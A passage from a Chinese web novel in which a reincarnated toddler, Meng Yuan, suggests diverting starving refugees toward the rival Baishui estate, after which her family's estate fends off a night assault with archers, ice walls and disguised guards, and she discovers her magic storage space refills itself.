“东流?有个成语是什么来着?”孟沅意识里那个更成熟的自己绞尽脑汁,把小学到大学的语文记忆碎片都翻腾了一遍。忽然,灵光一闪!一个成语蹦了出来,然后,就像阻塞的河道被瞬间冲开,她猛地坐了起来,茅塞顿开! “爹爹,喂饭饭!”晚饭的时候,阿沅格外殷勤,自己主动爬到了坐在轮椅上的爹爹膝盖上,坐稳后,还扭过小身子,贼溜溜、亮闪闪的眼睛先看了看娘亲,又瞄了瞄哥哥,小脸上写满了“我有秘密”。 “窝有好办法!”她宣布道,然后故意拖长了语调,“嘿嘿嘿……”地笑了起来,开始卖关子,小脑袋得意地晃来晃去。 看孟大川笑着舀起一勺肉丸递到她嘴边,她“啊呜”一口吞下;柳氏夹了块炖得烂烂的羊肉喂过来,她也乖乖吃下;孟怀瑾给她挑了块没刺的鱼肉,她照样来者不拒。小嘴忙个不停,大口大口吃得香,可就是不接着说下去。 很快,她的小肚子就以肉眼可见的速度鼓了起来,像个圆圆的小西瓜。可等了半天,都没等到她所期待的、三人迫不及待的追问。 她有点生气了,“不吃了!”鼓起腮帮子,像只小河豚,开始生闷气。再看三人还是故意不说话,笑眯眯看着她,她更气了,身子一扭,就想哧溜一下从爹爹膝盖上滑下去。 “就知道我们家阿沅聪明绝顶,肯定憋着什么好主意呢。”孟大川哪里会让她得逞,大手一捞,稳稳抱紧了她的小屁股,还轻轻拍了两下,开始拍女儿的“香屁”。 “妹妹比哥哥聪明多了,哥哥洗耳恭听。”孟怀瑾吃得很是斯文,这时候也恰到好处地放下筷子,目光温和地看向阿沅,眼里带着鼓励的笑意,仿佛真的充满了期待。 柳氏也配合地叹了口气,脸上浮现出一丁点假得不能再假的神伤,嘴角却忍不住翘起:“唉,娘最没用了,啥都帮不上忙,还……笨,脑子还不如阿沅一半好用。。” 这番“追捧”让阿沅的内心得到了无比的满足,刚才那点小脾气立刻烟消云散。“窝真的有办法!”她急急地说,小手兴奋地比划着,“活水……咦……那里。”手指头坚定地指向了门外院子的方向。 “移不出去啊,”孟大川以为女儿异想天开,想用水攻,摇头笑道,“井水打上来没多久就结成冰了,庄外小溪的冰也还没化。这招怕是不成。”他以为女儿又得了什么“神仙指点”,想引水御敌。 孟怀瑾一脸茫然,完全没跟上妹妹跳跃的思路,看看爹爹,又看看妹妹指向的门外,不明所以。 柳氏也被孟大川的话带偏了,跟着摇了摇头,温声说:“阿沅,神仙姑姑这招,放在眼下怕是不灵了。”她理所当然地又把这主意归功于“神仙姑姑”。 “爹爹笨!”阿沅急了,恨自己口齿不够伶俐,表达不清,更恨自己认识的字太少,一时找不到准确的词。她懊恼地抿着嘴,再次努力组织语言。 第69章 祸水东引 “活水……东夷!”她再一次伸出小手指,这次更明确地指向了白水庄的方向,眼睛瞪得圆圆的,试图让家人明白,“咦去白水庄,懂不?”她把“引”说成了“咦”,小脸因为急切而涨得有些红。 看到三人脸上开始浮现出若有所思的神情,阿沅情绪更激动了,举起了胖乎乎的右手,努力举得老高,像是要发表什么重大宣言:“让灾民……嚯嚯……白水庄!”她用力地说出“嚯嚯”这个拟声词,模仿着混乱、破坏的声响。 “妹妹的意思……”孟怀瑾眼睛猛地一亮,终于品出点味儿来,他把椅子拉得更近,几乎贴着爹爹的轮椅,兴奋地看向爹爹,声音都拔高了些,“是要‘祸水东引’?” 他替妹妹说出了那个成语,随即感叹道:“儿子觉得这主意能行!与其让灾民全冲着我们嘉禾庄来,不如分些‘热闹’到白水庄去。反正……那庄子里住的,本也不是什么好东西!”想到死了那么多年的祖父平白被扣上了顶绿帽子,他稚嫩的脸上闪过与他年龄不符的冷意。 “这倒真是个……好办法!”孟大川愣了片刻,随即眼中精光一闪,饭也顾不上吃了,放下筷子,双手紧紧搂住怀里的女儿,忍不住在她嫩乎乎的脸颊上亲了一口,“我们阿沅怎么那么聪明,还知道祸水东引,谁教你的?” 他朗声冲外面吩咐道:“孟柒!把林庄头叫来,让他再找几个嘴巴严实、行事稳重的婆子一起过来!” “叫二叔婆和黑丫姐,还有大牛、二牛哥!”阿沅立刻在爹爹怀里补充,小脑袋里飞快地闪过那些得过她“好人卡”、又机灵胆大的人选。 “是!属下马上去办,全听大人和小姐吩咐!”柒叔在门外恭敬应声。 这样的回答,爹爹没有丝毫纠正的意思,完全默许了“听小姐吩咐”的说法。这让小阿沅心里乐开了花,无比开心。 她狡黠地冲坐在对面的哥哥吐了吐舌头,然后得意洋洋地比起了两根手指,在胸前轻轻晃了晃——全听她的!耶! …… 入夜后,朦胧的雪光映照着荒芜的田野,稀疏的枯枝在风中发出呜呜的低鸣。荆棘丛下那个不起眼的狗洞,被厚厚的积雪半掩着,此时却窸窸窣窣地动了起来。 先是探出一只枯瘦的手,扒开积雪和冻硬的荆棘条,接着,一个佝偻的身影艰难地挤了出去,破旧的棉袄挂扯下几缕絮。 是二叔婆。她喘着粗气,警惕地环顾四周,雪光映着她布满皱纹和冻疮的脸,眼神却锐利如刀。 紧跟着她钻出去的是黑丫,她同样黝黑发亮的眼睛在暗夜里格外耀眼,她动作灵巧得像只猫,出来后立刻回身,帮着拉出——大牛和二牛。 四个人的衣服都褴褛不堪,补丁叠着补丁,难以御寒,在寒风里不自觉地发抖。 “就按大爷今晚说的做。”二叔婆压低声音,气息在冷空气中凝成白雾,“大牛二牛,你俩机灵点,混到庄子大门那边去,把水搅浑就行,瑟缩着点,若是发现有什么专门指挥的头子,别靠太前。” 两个小子用力点点头,大牛搓了搓冻僵的手,眼里闪着一股混不吝的劲头;二牛则显得有些紧张,抿着嘴,看了看黑丫。 二叔婆推了他们一把,“快去!仔细着些!办好了,赶紧回来,小心别让人跟着。”两个瘦小的身影立刻猫下腰,借着雪地和阴影的掩护,深一脚浅一脚地朝着庄子大门方向那片黑压压、嘈杂喧闹的人群奔去。 那里,聚集的灾民像一团躁动的乌云,火把的光点零星晃动,咒骂、哭喊、煽动的话语乱糟糟地混成一片。 看着小子们跑远,二叔婆转向黑丫,枯瘦的手拍了拍她的胳膊,咧开牙笑:“丫头,咱祖孙俩往那边去。”她指了指庄子侧面背风处的几丛更大的荆棘乱木。 那里也影影绰绰聚集了不少人,但比起大门前的青壮汉子,这里多以妇孺为主,她们三五成群,瑟缩着挤靠在一起,试图从彼此身上汲取一点微薄的暖意,低低的啜泣和小童虚弱的啼哭声时断时续。 陆陆续续地,还有灾民从镇子方向沿着这条被积雪覆盖的小路蹒跚走来,拖家带口,个个面黄肌瘦,眼神绝望中带着一丝疯狂的希冀,无一例外都汇入嘉禾装这个聚集点。如果说不是有人在背后推波助澜,他们都不信。 “冲进去!都说这个嘉禾庄里头堆满了粮食,地主老财心黑着呢,肯定错不了!”一个嘶哑的男声在人群中喊道。 “对!打进去,不光有吃的,还能抢间遮风挡雨的屋子住!这鬼天气,再在外头待下去,今晚就得冻死!”另一个声音立刻附和,带着一种破釜沉舟的狠厉。 灾民们情绪激动,乱糟糟地议论着,挑唆的,附和咒骂的,茫然询问的,说什么的都有。火光摇曳,照着一张张被饥寒折磨得扭曲的脸,却很难分辨出究竟谁在真正领头。 第70章 混到了人群里 “都什么人在这儿瞎嚷嚷啊?”一个苍老而沙哑的女声忽然从背风的荆棘丛那边响起,压过了些嘈杂。只见二叔婆颤巍巍地扶着一根枯枝站定,黑丫紧紧挨着她,一副怯生生又担忧的样子。 二叔婆提高了声音,带着本地口音和饱经风霜的疲惫:“我们娘两就是附近庄子逃过来的,嘉禾庄?去冬今春,冻死饿死的人不下半数!等着土地解冻能挖坑了,下葬的人能在雪地里排成排!你们去瞧瞧,墙根下都是硬邦邦的尸首!要真有穿有吃,哪能是这副光景?”她的话像一盆冰水,浇在了部分灾民头上。 “不……不会吧?”一个抱着婴儿的妇人哆嗦着嘴唇,绝望地说,“那……那还不如老老实实待在镇子上等施粥,等官府救济呢!害我们忍饥挨饿白走了这十几里雪路,娃……娃都快冻没气了……”她说着,眼泪就滚了下来。 “别不是有人使坏,”黑丫适时地插话,声音清脆却带着惊疑,“怕你们在镇子上聚众闹事,才故意把你们引到这荒郊野外的庄子来吧?庄子再富,还能富过镇上的大户?雪封路都好几个月了,谁家能存下够这么多人吃的粮?我不信!”她眨着黑亮的眼睛,目光在几个躁动的老汉脸上扫过。 “这丫头说得在理啊!”旁边一个老汉用木棍敲了敲地,“肯定是府衙那些坏透了胚子的官差,他们巴不得我们这些灾民早死早干净,省得烦他们!指定是被他们骗了!” “反正……反正这个嘉禾庄,腊月里我们跟着人来冲进去过一次,”大门旁一个缩在角落里的半大孩子小声嘟囔,脸上带着后怕,“没抢到啥像样的东西,倒是……倒是满地都是死人,……看着可瘆人了,害我做了好几晚噩梦。” “啊?那不是进去了也白瞎?还得沾一身晦气?”人群里响起更多迟疑的声音。 “嘿!”这时,大牛不知何时从大门那边溜了过来,钻到这边人群外围,故意用不大不小、能让周围人听见的声音说道,“你们都被骗了,这一带我熟得很!最富裕、而且从来没被灾民真正冲破过的,是隔壁的白水庄!来的时候路过,你们没看见?那围墙,清一色青砖到顶,高得很!房子也都是大宅子!” “哪能看不见?”一个满脸凶相的壮汉啐了一口,“那庄子看着就结实,不富裕哪会建那么高的墙?可咱们现在饿得前胸贴后背,腿都打晃,那高墙大院,能攻得进去才行啊!” “嘿嘿,这位大哥,这你们就不懂了吧?”二牛也凑了过来,压低声音,神秘兮兮地说,“白水庄西北角,就是背着大路的那一边,墙外不是有片老林子吗?那里头……我们可是事先放了好几架结实的木梯子!” “对!没错!”大牛抢过话头,眼里闪着光,“原本我们兄弟隔三差五就偷偷爬进去,哪次都能从厨房摸出来大白馒头和剩饭剩菜!有时候运气好,还能拎出来些些白米白面。就是人少劲不大,不敢多拿。” “何止啊!”二牛舔了舔干裂的嘴唇,呵呵笑得天真,声音充满诱惑,“我还摸到过几两碎银子呢!两处地窖的入口都被我们哥俩寻着了,一个在前院假山石后头,一个在后院柴房垛子底下。乖乖,那锁头,看着就沉,里头指定有好东西!可惜我们人小力薄,没家伙什,不敢硬撬。” “有这等好事?!”围过来的灾民眼睛顿时亮了,饥肠辘辘的肚子似乎叫得更响了。“那还抢什么要啥没啥、死人堆一样的嘉禾庄啊?咱们到白水庄去!” “就是!这边人那么多,就算真撞大运抢到点粮食,够几个人分的?白水庄要是真像这俩小子说的……抢到粮食、银子,也算你们一份!”那个凶相壮汉盯着大牛和二牛,威逼着靠过来。 “行!说话算数!”大牛一拍瘦弱的胸脯,“我们早就盼着有像大哥你们这样有劲儿的人来了,光靠我们,看着宝贝干着急啊!” “走!跟我们来,梯子就在林子里!”大牛转身做出带路的样子。 “嘘——!轻声点!”看到那边有了动静,二叔婆适时地提醒,脸上带着谨慎,“别声张,人多了,动静大,惊动了庄子里的人不说,到时候能分到手里的东西可就少了!” 一开始,只是大牛带着那一小波最躁动、最凶悍的灾民,悄悄脱离人群,朝着白水庄方向摸去。但“白水庄有粮有银、有现成梯子、地窖入口已知”的消息,就像一颗火星掉进了干草堆,在绝望而贪婪的灾民中迅速蔓延开来,都不用二牛领,很多人都跟了上去。 背风处的议论声非但没停,反而更加热烈,充满了新的算计和渴望。没一会儿功夫,一传十,十传百,黑压压的人群开始大规模移动,像一股污浊的泥流,裹挟着将信将疑和急不可耐,跟上去的人竟过了半数。雪地上留下凌乱肮脏的足迹。 当然,也有意志坚定的,或者对白水庄传闻存疑,认为嘉禾庄墙矮,更容易得手的。他们依然围着嘉禾庄的围墙和荆棘丛打转,寻找着可能突破的缝隙,眼中燃烧着不逊于前的急切火焰,等待着不知是否会到来的闯入时机。 看着目的已然达到,身边的人群走了一大批,又因消息扩散从镇子方向新来了一小批,说得口干舌燥、喉咙发干的二叔婆和黑丫互相飞快地使了个眼色。黑丫搀扶住二叔婆,二叔婆则捂着肚子,脸上露出窘迫难受的神色。 “哎哟……这冷风灌的,老婆子我得去解个手……丫头,扶我去那边避避人……”二叔婆有气无力地说着。 旁边的新来灾民只当是寻常老弱内急,并未多在意,他们的注意力早已被“白水庄”吸引,或正专注于眼前的嘉禾庄围墙。 两人颤巍巍、慢吞吞地挪到那处更深的阴影里,警惕地四顾,确认无人特别注意后,迅速俯身。 如同出来时一样,悄无声息地重新钻回了那个隐蔽的、被荆棘覆盖的狗洞之中,身影瞬间被庄内的黑暗吞没。 只留下庄外风雪声中,灾民们纷乱不绝的喧嚣。 好不容易等到二叔婆和黑丫从狗洞钻回来,两人身上还沾着雪沫和枯草屑,脸颊冻得通红,但眼睛却亮得惊人。 她们喘着粗气,快速而清晰地汇报了外头的情况——如何煽动,如何祸水东引,看着大批灾民果真被“白水庄的梯子和地窖”吸引,转而向那边移动。听着她们的讲述。 孟沅心头一松,一股混合着得意和急切的情緒涌上来,就想跟着她们出院墙去看看“战果”。 “大院内的人谁都不能出去!”父亲孟大川低沉而斩钉截铁的声音立刻响起,他虽坐在轮椅上,腰背却挺得笔直,目光扫过孟沅和几个跃跃欲试的丫鬟小厮, “别给柒叔和庄子里的乡亲们添乱。你们,”他特意看向负责内院的护卫、丫鬟和几个稳重仆妇,“看护好小姐、少爷和夫人,这大院里绝不能进一个外人!若是有点闪失,我唯你们是问!” 第71章 举全村之力勇斗灾民 话语里的不容置疑,瞬间将孟沅那点刚冒头的兴奋打回了三岁原形,她肩膀垮了下来,小脸皱成一团,很是泄气。 泄气的不只是孟沅。旁边,莲子和红袖,正举着刚分到手里、闪着寒光的崭新匕首,比划着,原本也是跃跃欲试,想着万一有不开眼的冲进来也好试试身手。此刻被孟大川一道严令,也像霜打的茄子,觉得无趣极了,悻悻地收起了匕首。 倒是绿果、红豆,得了大爷的命令后,执行力极强。她们生怕自家这位向来不按常理出牌的小姐再想出什么“奇招”,比之前钻狗洞,竟真的招呼了两个粗使婆子,吭哧吭哧搬了好几块沉甸甸的大石头,又寻来一块厚重的大石板,牢牢地将大院那处狗洞从里面堵死、封住。 那石板和石头的分量,莲子和红袖加上孟沅三人使足了吃奶的劲儿也休想撼动分毫。孟沅气得在院子里直跺脚,却也无可奈何。 “爹爹,窝(我)就凑到门缝那儿,看一眼,就一眼!”看到母亲柳氏推着父亲的轮椅到了院子里,孟沅忙小跑上去,殷勤地帮着推轮椅,仰着小脸,试图给自己谋点“观战”的福利。柳氏看着她,眼神里带着无奈和一丝心疼。 “不行!”孟大川没有丝毫通融,指了指已经跃上内院围墙、如同雕塑般靠在大宅院门楼阴影里、背着弓箭的一道黑衣人影,“刀剑无眼,流矢更是难防。谁也不许靠近大门。”他的语气缓和了些,但意思依旧坚决。 阿沅彻底没了指望,两手气鼓鼓地抄在胸前,一屁股坐在高高的正厅门槛上生闷气。就连老北奶奶端来了一碟她平时最爱吃的枣泥糕饼,她也扭过头去,一块也不肯尝。 难得的是,一向手不释卷的孟怀瑾,此刻也没有看书。他安静地坐在妹妹身旁,像一尊沉默的守护像。但他的目光,却早已如同父母一样,穿透了厚重的木门和院墙,投向了庄子外那一片未知的喧嚣与黑暗,清秀的脸上带着与年龄不符的凝重。 没到亥时,围墙外的灾民果然有了大规模的行动。最初的攻击是在庄子大门方向发起的。嘈杂的呐喊声、咒骂声陡然拔高,汇成一片恐怖的声浪,紧接着,便是沉重而钝厚的“砰!砰!砰!”声——那是粗壮的原木,或者不知从哪里拆来的门板梁柱,在疯狂撞击着庄门!每一声撞击,都仿佛敲在庄内众人的心口。 “用力!再用力!门已经开始晃了!只要把门撞开,今晚咱们就有热饭吃、有暖屋住了!”一个声音洪亮、极具穿透力和煽动性的男声在指挥着,这中气十足的叫喊,全然不像是长期挨饿之人能发出的。 守在大门两侧墙头和门楼上的四个黑衣人,眼神冰冷,如同暗夜中的鹰隼。他们不约而同地拉满了手中的硬弓,弓弦绷紧发出细微的“咯吱”声。 只听得“嗖嗖嗖”几声凌厉尖锐的破空之声撕裂喧嚣,黑暗中几乎看不清箭矢的轨迹,门外叫嚣得最厉害、冲在最前面带头撞门的那几个身影,几乎同时发出一声短促的惨呼或闷哼,踉跄着扑倒在地! “死人了!真的杀人了!” “门上有弓箭手。” 惊恐的尖叫在撞门的人群中炸开,有人惊慌失措地想往后退,但后面被更多盲目向前涌的人堵得严严实实。 推搡、踩踏瞬间发生!被箭矢吓破胆想后退的,被后面不明所以往前挤的推倒,惨叫着被无数双脚踩踏过去,哭爹喊娘的声音与更加狂躁的“冲啊!”“怕什么,他们没多少箭!”的呐喊混杂在一起,场面彻底失控。 然而,墙头上的黑衣人没有丝毫停顿。他们冷静、迅捷地重复着搭箭、拉弦、瞄准、放箭的动作。连续五六轮齐射,箭羽如同死神的镰刀,精准地收割着冲在最前、喊得最凶的目标。 大门前空地上倒下的身影已经不止二十个,温热的鲜血融化了积雪,留下触目惊心的暗红。 沉重的撞门声终于停了下来,原本挤在最前面的人群,如同潮水撞上礁石般,惊恐地向两侧溃散,后面更多的人开始踉跄着后退,一直退到了十几步,乃至更远。 但墙头上的箭矢威胁并未解除,只要有新的领头者试图聚拢人群,黑暗中便会飞来夺命的箭矢,又将扑倒几个。 大部分灾民终于彻底惜命起来,只敢在远处观望,嘴里虽然还在骂骂咧咧,有人不死心地继续挑唆,但真正向前的脚步却变得迟疑而缓慢,雷声大,雨点小。 “他们的人肯定都集中在大门这了!弓手都在那儿!”人群中有人喊道,“傻子才继续冲门!不如去砍两边和后头的荆棘丛,我就不信他们庄子里能有那么多人手,处处都守得跟铁桶似的!” “说得对!走!咱们最不缺的就是锄头和砍柴刀!多砍几个口子,一拥而上,我就不信没有一个口子能钻进去!” “没错!谁家守宅子不是先紧着大门?旁的地方肯定弱!快走,去别处看看!” 有人开始带头,绕过大门前这片死亡地带,沿着围墙根,深一脚浅一脚地往庄子两侧和后面摸索而去。跟过去的人越来越多,大门前的压力为之一轻。 “呸!晦气!”也有人望着高耸的围墙和上面隐约的黑影,啐了一口,“没准白水庄那边这会儿已经得手了呢!老子不在这儿耗了,干脆去白水庄大门外守着,等他们抢开了,说不定也能捞点残羹剩饭,连墙都不用爬!” 抱着这种捡便宜心态的人,也三三两两离开了嘉禾庄外围,朝着白水庄方向散去。 围墙上,黑衣人依旧如磐石般屹立,弓弦始终半张,箭在弦上,警惕的目光扫视着下方黑暗中任何可疑的动向,一刻都不敢放松。 第72章 多种战术 “大人,夫人,请放心。”孟柒沉稳的声音,清晰地从高高的院墙外传进来,气息平稳,仿佛刚才外面那番激烈的攻防与他无关,“局面暂时控制住了,应该没有大碍。夜还长,你们可以稍事休息,养养精神。” 这平静有力的声音,像定心丸一样,让院子里一直屏息静坐、提心吊胆的众人,感到了些许安心。 庄子外的声音依旧很大,各种嘈杂、呐喊、哭骂、诅咒、临死的惨叫声不断传来,但庄子内部,尤其是孟家核心的这座大院,却异样地安静。只有寒风刮过屋檐的呜咽,以及人们压抑的呼吸声。 快一个时辰过去了,似乎真的还没有任何一个灾民能真正突破外围的防御,冲进庄内。 此刻,在黑丫负责带领妇孺守御的西南方向(非狗洞方向,而是另一处荆棘墙),情况却有些微妙。 一群半大孩子、妇人和老人,手里紧紧攥着白天就准备好的、冻得硬邦邦的冰球,紧张地盯着外面荆棘丛的动静。时间一点点过去,手在严寒中早已冻得麻木刺痛,几乎握不住冰球,预期的攻击却迟迟没有大规模到来。 “太……太冷了,手都没知觉了。”一个半大孩子带着哭腔说。 “黑丫姐,能不能……先放下活动一下?或者回去搬个小板凳来坐坐?这么站着,脚也冻僵了。”一个年轻媳妇跺着脚,声音发颤。 “我看啊,他们说不定被大门那边的箭吓破胆,根本不敢来这边了。”一个老汉试着开脱,“总不能就这么傻站一晚上吧?” “我看还真行,哈哈!”有人试图用玩笑驱散恐惧,紧张的气氛似乎真的松懈了一点点。 “冰球可以放下,但是绝对不能放松!”黑丫厉声喝道,黝黑的脸庞在雪光映衬下格外严肃,眼睛像探照灯一样扫视着前方的荆棘丛,“都给我警醒点!你们看,那边,还有那边,荆棘晃动的厉害,肯定有人在砍!他们不会死心的!” 她说着,不时用脚踢一踢脚边堆着的备用冰球,防止它们冻在地上。她心里那根弦始终绷得紧紧的。 突然,外面传来一阵更加兴奋和集中的喧哗! “砍通了!这里砍通了,能进了!” “快!这边也快了,再加把劲!” “冲啊!抢粮食!抢暖和衣服去!”灾民的声音骤然逼近,仿佛就在眼前,仿佛没有隔断。 守在这段冰墙后的妇孺们心脏骤然缩紧,重新握起了冰球。然而,预想中灾民蜂拥而入的场景并没有立刻发生。外面的喧哗在达到一个顶峰后,竟诡异地停顿了一瞬,然后爆发出一片难以置信的惊呼: “这……这怎么回事?怎么还有一堵墙?一堵冰墙?!” 站得稍远些的灾民,甚至能透过砍开的荆棘缺口,看到里面那堵在月光雪光下泛着幽蓝寒光、滑不留手的冰墙,以及冰墙后,那一张张紧张却充满敌意的面孔——多是老弱妇孺,但她们手里举着硕大的冰球,牙齿冻得咯咯作响,眼神里却满是拼死的决心和冷冷的杀意。 “你们进来啊!有本事就爬上来试试,看看能不能活着出去!”冰墙后,一个胆大的半大小子率先骂道,还扔出去一个冰球,可惜力气小,没砸到人。 “别浪费冰球!”黑丫立刻喝止,声音镇定,“等他们真的开始爬墙,爬到一半上不去下不来的时候,再给我狠狠地砸!听我号令!” “横竖饿死冻死也是死,怕个球!老子先上!”外面,一个黑脸彪形大汉被激起了凶性,他退后几步,猛吸一口气,朝着冰墙加速冲来,企图借助冲力爬上冰墙。黑丫见状,嘴角勾起一抹冷笑,双手举起一个沉甸甸的冰球,做出了标准的投掷姿势,眼睛死死盯住那大汉的冲路线。 “妈的!咋……咋这么滑!全部结冰了。”那黑脸大汉的靴子一沾上结着厚厚冰壳的墙面,顿时失去了所有抓地力,冲力变成了向后仰摔的力道。 “哎哟!”他惨叫一声,重重地向后摔在刚砍倒的、满是尖刺的荆棘茬子上,顿时发出一连串痛呼:“我的老腰!哎哟……你们这些蠢货,怎么不把这些砍下来的荆棘拖走!刮老子一脸血!” “哈哈哈!”黑丫带头放声大笑,冰墙后的紧张气氛被这滑稽的一幕冲淡了不少,士气为之一振。 “上来啊!有本事再上来啊!看不摔死你们!”半大小子们来了劲,扒着冰墙边缘大声挑衅。 “砍刀呢?拿砍刀来!顺着冰墙砍出些坑洼当落脚点!老子就不信今天进不去!”外面的灾民恼羞成怒,显然没有放弃的意思。求生的欲望和可能存在的粮食幻想,驱使他们开始尝试更笨拙但或许有效的方法。 “大家别慌!”黑丫再次高声稳定军心,“他们就算砍出落脚点,爬上来也得费牛劲!一次上不了几个人。等他们爬到顶,没处着力的时候,我们再动手! 记住:老人孩子,力气小的,专门负责用冰球砸他们脑袋、砸他们扒墙的手!半大小子们,拿起你们的柴刀、粪叉,有人滑下来或者摔进来,别犹豫,照死里招呼!都记住了,这不是玩闹,今晚不是他们死,就是我们活!为了咱庄子,为了身后的爹娘娃崽,拼了!” 如同黑丫这边一样,庄子两侧漫长的荆棘围墙各处,凡是容易被突破的地段,都由庄子里的佃户们自发组织起来守御。他们多是老弱妇孺,连二叔婆这样年迈的,大牛二牛这样半大的孩子,都成了某一段的防守主力。 他们依靠着提前浇铸的冰墙、简陋的武器和拼死的勇气,构成了第二道看似脆弱却异常坚韧的防线。 而真正的杀招,其实隐藏在看似毫无防护、实则陷阱重重的西北角荆棘狗洞附近。那里,聚集着孟柒手下最精锐的护卫和巡防队员,他们手持真正的刀枪,甚至还有几架简易的弩,埋伏在暗处,静静等待着。 孟柒本人和几个身手最好的暗卫,做法则更为凌厉诡谲。他们早已换上早就准备好的、与灾民无异的褴褛衣衫,脸上抹了灰土,悄无声息地混出了庄子,潜入了黑压压的灾民人群之中。 他们的目标明确——那些叫嚣得最凶、指挥砍伐最卖力、明显有别于普通饥民的头目或悍匪。 借着夜色和人群的混乱,他们如同幽灵般贴近目标,锋利的短刀从不可思议的角度抹过对方的脖颈或腰肋,然后趁着死者倒地引发的短暂混乱,迅速隐匿、转移,寻找下一个目标。 这种精准而冷酷的军队式“摘除”战术,在灾民中制造了极大的恐慌和混乱,许多地方的攻势都为之一滞,人人自危,不知道身边的“同伴”何时会变成索命的无常。 第73章 屋顶上耶 一大群人原本挤在正堂,有些下人则跑出去在廊下跺着脚、搓着手,都一个多时辰了,廊檐下的灯笼被风吹得晃晃悠悠,光影也跟着摇摆不定。还是没迎来大的激战。 主要是在院子里,啥也看不到,只能听见远处隐隐约约的叫嚷和零星的兵刃碰撞声,闷闷的,像是隔着一层厚厚的棉衣,背上瘙不了痒。 阿沅就是这种感觉。 “大人、夫人,平安无事。” “大人,夫人,还没有难民能冲破防线。” 孟柒总会在两刻钟左右,准时隔着围墙朝大院里喊一嗓子报平安,声音洪亮又平稳,带着让人安心的力量。 可这情形,怎么跟预想中的刀光剑影、喊杀震天不一样呀?阿沅缩在娘亲温暖的怀抱里,眼皮子开始打架,小脑袋一点一点的。 她不是假装,是确实有点困了,还忍不住打了个小小的呵欠,嘴巴张得圆圆的,像只贪睡的小猫。 “红袖,带小姐进屋去睡;瑾儿,你也别干等着了,明日还要温书,休息去吧。”柳氏觉得自己也困了,实在是从早上到现在,心里的那根弦一直紧绷着,此刻被这漫长的等待和女儿传染的困意一搅和,越发松乏起来。 但看孟大川挺直腰板坐在太师椅上,手握茶盏却一口未饮,目光炯炯地望着大门方向,并没有要回去休息的意思,应该也是劝不动的。她叹了口气,转头吩咐下人:“在屋里多燃个炭盆,添得旺些,你们也别站在廊下了,都进屋暖暖,凳子不够,从花厅搬过来。” “小姐,别怕,安心睡觉。奴婢就在床边守着,哪儿都不去。”红袖这个忠心鬼,两世都还是这样,声音柔柔的,眼神坚定。 阿沅揉揉眼睛,看着红袖,确实没有什么好担心的,心里暖乎乎的。 “好的,不许偷看哦。”阿沅伸出小手指,努力做出严肃警告的样子,但配上她困倦的小脸,只显得娇憨可爱。 “小姐,放心吧,奴婢不会。”红袖笑着点头,轻轻握住她的小手。 孟沅在红袖帮她脱完厚厚的棉衣,塞进暖烘烘的被窝里时,还强撑着不闭眼。等幔帐一落下,遮住了外间的灯光,她立刻在心里默念,眨眼间就进了空间,舒舒服服地躺在了那张柔软的小床上。 若是老呆在外面,可是会一觉到天亮的,那醒来就没戏可看了,多没意思! 嘿嘿,空间里睡两个时辰,出去就又能生龙活虎啦,还可以看看最后的战斗也不一定呢。阿沅心里美滋滋地期待着,小脚丫在被子里欢快地蹬了两下。 “睡睡睡,快点睡,睡得早,起得早,庄外的世界真热闹……”她心里默念着自编的童谣,也才念了几遍,还真就打起了细细的小呼噜,长长的睫毛像两把小扇子,在粉嫩的脸颊上投下安静的影子。 “空间大大,你真是我肚子里的蛔虫。”再醒过来时,她看向休息室里的那个闹钟,时针分针告诉她居然才过了半个时辰(相当于外面不到两个时辰),正是午夜时分,就知道外面的戏肯定还没唱完呢。 “小桶的快餐面,掰开可以分两餐,都是我的!下次还有得吃。”她得意地皱皱小鼻子。 打开小冰箱,先取出一桶快餐面,掰两半,然后熟练地泡上热水。孟沅心里嘀咕着:里面的储物还是太少了,平时还是得注意多“存”着点才好,就像小松鼠存过冬的粮食一样。 反正外面的包子饺子馒头这么多,半夜里肚子饿了还得麻烦厨房的婆子现蒸了才有得吃,多不方便。但是这空间里好像永远是恒温的,储存吃食应该不会坏吧?没准隔很长时间拿出来,还是热气腾腾的呢。 “好像还有两包羊奶,省着点,先喝一包,另一包还是留着下次喝。”她自言自语,像个精打细算的小管家婆。 再一次打开冰箱,正想取出一包羊奶,孟沅的眼睛一下子瞪得圆溜溜的,像两颗黑葡萄。 原本里面没拆封的切片面包还好端端地放着,羊奶也依然是看见的两包。但是,刚刚取出去泡面的那个空位置,居然不知什么时候又“长”出了一桶崭新的、包装完好的快餐面! “哈哈!”她忍不住笑出了声,眼睛弯成了月牙,“空间居然有自我填充功能!那是不是说,我把面包呀、馒头呀、饺子呀放进来一餐的量,我就可以吃一辈子,永远也吃不完了?” 吃着久违的、香喷喷的泡面,孟沅越想越高兴,想象靠着这个空间就可以随便躺平的美好场景,忍不住小口吸溜着面条,一边在空间里迈起了小小的、六亲不认的步伐,神气极了。 不过,高兴劲儿过去,问题来了:出了空间后,怎么才能说通执拗的便宜爹爹和温柔的娘亲,让他们同意自己出院子呢?就算不能出去,能在屋顶上看看,悄悄瞄几眼也是好的呀。 她小大人似的用双手托住下巴,好头疼啊。没注意到自己苦恼的同时,已经无意识地蜷缩起小手指,轻轻捏住了掌心那朵淡粉色的小小花形胎记。 只觉身体瞬间一轻,像是被什么柔和的力量托了一下,眼前景物模糊又清晰,忽然感觉自己坐在了什么硬邦邦、硌屁股的东西上,同时身上冷飕飕的,孟沅差点“呀”地一声叫出来,幸好及时用小手捂住了嘴巴。 “咦!这是哪里?”她眨巴着大眼睛,四周一看,还真吓了一跳。因为整个大宅的前院、中庭,连带着远处的影壁,都清清楚楚地呈现在自己的面前,而且是在自己的下方!自己此刻高高在上,比上次被柒叔抱着飞起来越过冰墙的时候还要高得多。 “屋顶上耶!”她小心翼翼地转动小脑袋,看看左边,又看看右边,再低头看看脚下踩着的青灰色瓦片,发现自己正坐在大宅中轴线最高处,堂屋正脊的瓦垄上。 “会不会是对屋神,或者是对土地爷爷的大不敬呀?”孟沅心里有点发虚,忍不住挪了挪小屁股,让自己坐得不那么正,稍微歪向一边,好像这样就能显得谦逊一点。 放眼望去,庄子大门的方向黑沉沉的,很安静,几乎听不到打杀声了,只有夜风呼呼吹过的声音。 第74章 差点被抓个正着 连接正门两侧的冰墙那边,倒还有些动静,但由于隔得太远,火光映照下人影晃动,看得不太仔细。喊打喊杀的声音是有的,但怎么听都觉得不对劲——不少声音清亮稚嫩,像是庄子内那些半大孩子发出来的,吵吵闹闹是有,充满了虚张声势的威胁和挑衅:“来呀!过来呀!” “看小爷的弹弓!” 听声音,却一点都不像真刀真枪的实战,倒像是顽童们在玩打仗游戏。 